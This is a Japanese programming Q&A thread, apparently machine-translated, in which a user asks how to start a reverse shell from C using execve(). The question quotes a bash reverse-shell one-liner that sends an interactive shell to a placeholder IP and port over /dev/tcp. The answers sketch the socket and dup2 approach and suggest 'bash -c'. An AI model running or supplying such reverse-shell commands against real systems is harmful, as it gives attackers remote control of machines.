2017-07-04 8 views
1

execveを使用して逆シェルを実行する必要があります。私は次のようにコマンドラインから実行する方法を知っている:execve()を使用して逆シェルを実行してください

$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 

次のように私は/bin/shコールの簡単なバージョンを実行することができます

#include <stdio.h> 

int main() { 

    char *args[2]; 
    args[0] = "/bin/sh"; 
    args[1] = "-i"; 
    args[2] = NULL; 

    execve(args[0], args, NULL); 
} 

私は残りの部分を実行する方法を把握することはできませんよコマンドの私は残りの文字列> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1args配列の個々の要素として割り当てようとしました。私がそれを実行すると、それはCan't open >を報告します。

上記の逆シェルコマンドはexecve()で実行可能ですか?もしそうなら、それを行う正しい方法は何でしょうか?ありがとう。

答えて

1

/dev/tcp/*/*ファイルが存在しません。それらは、いくつかのシェル(bash、ksh)にのみ存在する抽象です。あなたのCプログラム(socketbindlistenaccept、そして次にdup2あなたが出すシェルの標準IOディスクリプタのソケット)で通常のソケットプログラミングを行う必要があります。

また、配列のオーバーフローを修正する必要があります。 char *args[] = { "/bin/sh", "-i", 0 };のような初期化はエラーが起こりにくいはずです。

+0

私は '/ bin/bash'で試しましたが、それもうまくいきませんでした。 – Jake

+0

@Jake bashまたはkshは、パスを解釈するシェルでなければなりません(パスされるプログラムではありません)。あなたの場合、パスを開くプログラムですが、パスはシステムに存在しません。そのようなパスに遭遇したときにbash/kashが行うのは、IP_ADDRとPORTの周りに標準のBSDソケットダンスを行うように指示する魔法の文字列として扱われます。あなたのプログラムは、魔法のようなものをすべてスキップし、単にソケットダンスを行うべきです。 – PSkocik

+2

また、 'bash -c'を使ってコマンド全体を実行してください。 – rici

関連する問題